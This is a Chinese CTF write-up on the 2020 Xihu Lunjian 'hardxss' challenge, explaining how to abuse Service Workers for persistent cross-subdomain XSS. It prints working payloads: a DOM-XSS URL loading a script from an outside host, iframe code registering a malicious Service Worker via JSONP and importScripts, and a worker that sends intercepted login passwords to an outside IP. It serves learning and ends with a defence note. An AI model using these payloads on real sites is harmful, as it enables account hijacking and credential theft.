从一道CTF学习Service Worker的利用:西湖论剑2020-hardxss

从一道CTF学习Service Worker的利用:西湖论剑2020-hardxss

题目初探

  • 首先,题目提供了一个在线访问工具,会去访问提交的url。在“联系站长”处有:嘿~想给我报告BUG链接请解开下面的验证码,只能给我发我网站开头的链接给我哟~我收到邮件后会先点开链接然后登录我的网站!,而登陆时,会以GET请求传入用户名和密码:https://auth.hardxss.xhlj.wetolink.com/api/loginVerify?adminname=123&adminpwd=123
  • 所以本题需要通过XSS拦截并获取登陆时GET请求的密码,然后以admin身份登录,不能通过常规的盗取cookie实现。这就需要Service Worker来操作。

JSONP

  • 通过浏览器network工具,可以发现在login处存在一处jsonp: https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=get_user_login_status ,网页直接返回了:
1
get_user_login_status({"status": false})

我们访问https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=alert(1);//,返回:

1
alert(1);//({"status":false})
  • 需要注意的是,这个jsonp限制了返回值的长度。

变量覆盖和DOM XSS

  • 仔细查看login处的js代码,可以发现一处dom xss:
  • 首先,注意到 jsonp 函数会创建 script 标签,并使用 https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=get_user_login_status 处的jsonp,而该jsonp调用的函数由变量 callback 决定。
  • auto_reg_var 函数中,通过 location.search 获取了请求参数,并通过 window[key] = value 进行了赋值,此处存在变量覆盖漏洞。
  • 结合以上的jsonp和login页面的js,此处存在DOM型XSS,我们只需要通过GET请求传入login页面callback参数,此时会覆盖掉原来的callback并调用jsonp,payload: ?callback=alert(1)//
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
callback = "get_user_login_status";
auto_reg_var();
if (typeof(jump_url) == "undefined" || /^\//.test(jump_url)) {
jump_url = "/";
}
jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback, function(result) {
if (result['status']) {
location.href = jump_url;
}
})
function jsonp(url, success) {
var script = document.createElement("script");
if (url.indexOf("callback") < 0) {
var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
url = url + "?" + "callback=" + funName; //调用jsonp
} else {
var funName = callback;
}
window[funName] = function(data) {
success(data);
delete window[funName];
document.body.removeChild(script);
}
script.src = url;
document.body.appendChild(script); //执行jsonp的返回函数
}
function auto_reg_var() {
var search = location.search.slice(1);
var search_arr = search.split('&');
for (var i = 0; i < search_arr.length; i++) {
[key, value] = search_arr[i].split("=");
window[key] = value; //此处存在变量覆盖,可以覆盖掉callback变量
}
}

虽然找到了一处XSS,但是题目又说明:“我收到邮件后会先点开链接然后登录我的网站!”,而登录的域名是auth.hardxss.xhlj.wetolink.com登录和打开链接是在不同的域名,并且需要盗取的信息在请求中而不是在cookie中。又注意到,直接访问https://auth.hardxss.xhlj.wetolink.com/,返回的页面源码的js中包含跨域操作:document.domain = "hardxss.xhlj.wetolink.com";, 所以此题需要使XSS跨域持久化,这就涉及到本文的主角:Service Worker,通过它和其他页面的跨域操作可以让XSS持久化。此外,由于需要拦截登陆时的参数,其他方法难以做到拦截请求,而SW可以。

Service Worker

Service Worker简介

  • Appcache用来处理网站的离线缓存,可以通过manifest文件指定浏览器缓存哪些文件以供离线访问。但Appcache有相当多的缺陷,对于整站中的多页缓存来说支持比较差,而Service Worker用来作为其替代。
  • Service Worker是浏览器在后台运行的脚本,与web页面分离,以更好地支持不需要web页面或用户交互的功能。也可以将其理解为一个介于客户端和服务端之间的代理服务器,拥有拦截请求、修改返回内容的权力。可以用来缓存并处理离线网页(用来XSS)。
  • Service Workers 要求必须在 HTTPS 下才能运行。为了便于本地开发,localhost 也被浏览器认为是安全源。
  • Service Workers没有访问 DOM 的能力

注册Service Worker

要使用SW,需要先注册,有两种方法注册SW:1. 通过JS;2. 通过link标签引入外部js

1
2
3
4
5
6
7
8
9
10
11
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/sw-test/sw.js', {
scope: '/sw-test/'
}).then(function(reg) {
// registration worked
console.log('Registration succeeded. Scope is ' + reg.scope);
}).catch(function(error) {
// registration failed
console.log('Registration failed with ' + error);
});
}
1
<link rel="serviceworker" href="/sw.js">
  • 需要注意的是 navigator.serviceWorker.register 中的参数
  • 首先,第一个参数( scriptURL )只能为本站中的JS脚本(并且必须是 HTTPSlocalhost ,且这个脚本的 Content-Type 必须是 text/javascript 或者其等价类型);
  • 第二个参数 scope 则限定了Service Worker访问的资源的名称空间(如本例中只能访问 /sw-test/ 的子路径),并且, scope 参数不能设置为第一个参数的上层路径( scope 范围必须要小于 Service Worker 脚本本身的路径范围),几个例子:
1
2
3
4
5
无效:"/assets/js/sw.js",{scope: "https://other.example.com/"}
无效:"/assets/js/sw.js", {scope: "/assets/"}
无效:"/assets/js/sw.js", {scope: "/assets/css/"}
有效:"/assets/js/sw.js", {scope: "/assets/js/"}
有效:"/assets/js/sw.js", {scope: "/assets/js/sub/"}

构造恶意register

从上文可以看出,Service Worker有诸多限制,所以利用起来也比较局限。 一种利用方式:首先发现本站的jsonp(或者有本站的js文件上传点,但这种情况比较少),以作为sw脚本url源。 接一段lightless师傅的引用:

该接口的路径越浅越好,最好在根目录下。很明显 http://localhost/time.jsonp?callback= 要优于 http://localhost/a/b/c/time.jsonp?callback= ,因为如果后者作为 Service Worker 的脚本时, scope 只能为 /a/b/c/ 下的路径,而前者可以控制整个域下的内容。

有了这个JSONP,使用 importScripts 就可以在SW注册时引入任意https脚本: importScripts('https://my_site.com/my_evil.js');

利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//SW脚本
this.addEventListener('fetch', function(event) {
var url = event.request.clone(); //获得用户请求
console.log('url: ', url);
var body = '<script>alert("test")</script>';
var init = {
headers: {
"Content-Type": "text/html"
}
};
if (url.url === 'http://localhost/sw/target.html') {//要访问的url(https或localhost)
var res = new Response(body, init);
event.respondWith(res.clone()); //篡改返回结果
}
});

原理:通过监听 fetch 事件,截获用户的请求,篡改返回,向返回的页面上嵌入恶意的JS脚本。

Service Worker有效时间

在每个Service Worker授权24小时后(用PC时钟确定时间),原先的HTTP缓存将被清除。脚本需要被重新注册以正常使用,否则会被摧毁。

利用1:XSS持久化、拓展XSS攻击面

1
importScripts('https://my_site.com/sw.js');//用于注册恶意脚本,通过jsonp或js上传调用importScripts从而引入外部JS
1
2
3
4
5
6
7
// sw.js(SW恶意脚本)
onfetch=e=>{//劫持fetch事件,即浏览器在子域下的每一次访问都会触发
body =
'<script>alert(document.domain)</script>';
init ={headers:{'content-type':'text/html'}};
e.respondWith(new Response(body,init));
}
1
2
3
4
5
6
7
8
9
10
11
// sw.js;与上一个类似
this.addEventListener('fetch', function (event) {
var url = event.request.clone();
console.log('url: ', url);
var body = '<script>alert("test")</script>';
var init = {headers: {"Content-Type": "text/html"}};
if (url.url === 'http://localhost/sw/target.html') {
var res = new Response(body, init);
event.respondWith(res.clone());
}
});

利用2:跨域XSS

  • 这便是本题的利用思路了,首先看条件:若另一个页面存在跨域操作(如:document.domain="xxx.xxx"),则可以跨该域进行XSS。

再引用一段lightless师傅的博客:

假设我们在 A.lightless.me 上发现了 XSS,想要横向移动到 secret.lightless.me 上。当 secret.lightless.me 上存在跨域行为的时候,例如 document.domain = 'lightless.me' ,我们可以通过 XSS 漏洞嵌入一个 iframe 标签,以此给 secret.lightless.me 域下植入 Service Worker (前提是 secret.lightless.me 域下存在一个 JSONP 或是有可以返回 Service Worker 脚本的地方)。通过这种方法,即便 secret.lightless.me 域内没有 XSS,也可以被植入恶意的 Service Worker

理解一下:我们在A.lightless.me上插入一个secret.lightless.me域(secret.lightless.me域下存在跨域行为和JSONP或js文件上传)下的iframe,并通过JSONP为该iframe注册恶意SW,由于该页面跨域了,所以A.lightless.me页面的iframe可以访问其内容,能够成功为secret.lightless.me注册恶意SW。

在本题中,首先诱导受害者访问:

1
https://xss.hardxss.xhlj.wetolink.com/login?callback=jsonp(%22https://testjs--hachp1.repl.co/1.js%22);//

此处会触发xss.hardxss.xhlj.wetolink.com/login下的DOM XSS,从而引入并执行1.js

1
2
3
4
5
6
7
8
9
10
11
//1.js(iframe跨域、注册跨域下的SW)
document.domain = "hardxss.xhlj.wetolink.com";
var iff = document.createElement('iframe');//构造iframe,指向跨域页面
iff.src = 'https://auth.hardxss.xhlj.wetolink.com/';//此页面存在跨域操作
iff.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=importScripts('//testjs--hachp1.repl.co/2.js')//")`;//使用JSONP注册SW,在JSONP内调用importscripts引入外部脚本
function iffLoadover(){
iff.contentWindow.eval(exp);
}

1.js中,我们首先跨域以访问同样跨域的https://auth.hardxss.xhlj.wetolink.com,这种跨域方法在实际开发中很常见,为了使数据能够跨域传输,开发者常常把两个不同子域的document.domain设置为共同的父域,通过iframe就能跨域操作,但也带来了安全隐患。此时,1.js就可以对https://auth.hardxss.xhlj.wetolink.com进行操作了。然后我们构造一个iframe指向https://auth.hardxss.xhlj.wetolink.com,并在其上注册SW(此处省去了scope参数,使用默认的最大子路径作为参数),此SW使用JSONP与importScripts结合加载2.js作为SW脚本。

1
2
3
4
5
6
7
8
//2.js(SW脚本,必须通过JSONP或JS上传引入)
this.addEventListener('fetch', function (event) {
var body = "<script>location='http://129.204.230.95:8888/'+location.search;</script>";//通过GET请求传参,此处劫持请求并将其带出
var init = {headers: {"Content-Type": "text/html"}};
var res = new Response(body, init);
event.respondWith(res.clone());
});

2.js是SW脚本,在2.js中,我们劫持了fetch事件,并将请求传给我们的服务器,从而在管理员登陆时劫持并窃取管理员密码,达到利用目的。拿到密码后,登录网页即可拿到flag。需要注意的一点是,由于JSONP为https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=xxx,我们只能劫持受害者在https://auth.hardxss.xhlj.wetolink.com/api/的子域下的请求;而用户登陆的url为https://auth.hardxss.xhlj.wetolink.com/api/loginVerify?adminname=xxx&adminpwd=xxx,恰好在该子域下,所以利用才能成功。可以看出SW的可利用路径是非常苛刻的。

真实情况下的案例:百度漏洞报告:埋雷式攻击,悄无声息获取用户百度登录密码

Service Worker防御措施

当注册SW时,会发出包含 Service-Worker: script http头的请求,可以在服务端拒绝非SW Script却又包含该头的请求以进行防范。

总结

  • 让我们梳理一下,考虑一些细节,整道题主要涉及到四个url:
  1. DOM XSS(https://xss.hardxss.xhlj.wetolink.com/login)
  2. JSONP(https://auth.hardxss.xhlj.wetolink.com/api/loginStatus)
  3. 跨域页面(https://auth.hardxss.xhlj.wetolink.com)
  4. 登录验证api(https://auth.hardxss.xhlj.wetolink.com/api/loginVerify)

最后结合一张networking截图理解:
networking

  • 注意到跨域页面上只有一个光秃秃的跨域操作,并没有其他操作,但作为媒介用以设置其子域-登录验证api上的SW脚本(设置脚本时访问的是跨域页面而没有访问劫持页面)
  • 利用条件:1.baidu.com上发现了XSS,2.baidu.com上存在跨域操作:document.domain = 'baidu.com'并且子域下存在JSONP(路径需要跟盗取的信息页面在同一子域)或能够上传js的地方,就可以完成JSONP子域下的持久化XSS劫持。

最后几点:

  1. JSONP决定了可以盗取的页面子域
  2. 可以用来劫持请求,并直接盗取请求参数,这是其他XSS不能办到的
  3. 持久化XSS
  4. 扩大XSS到SW脚本子域

参考资料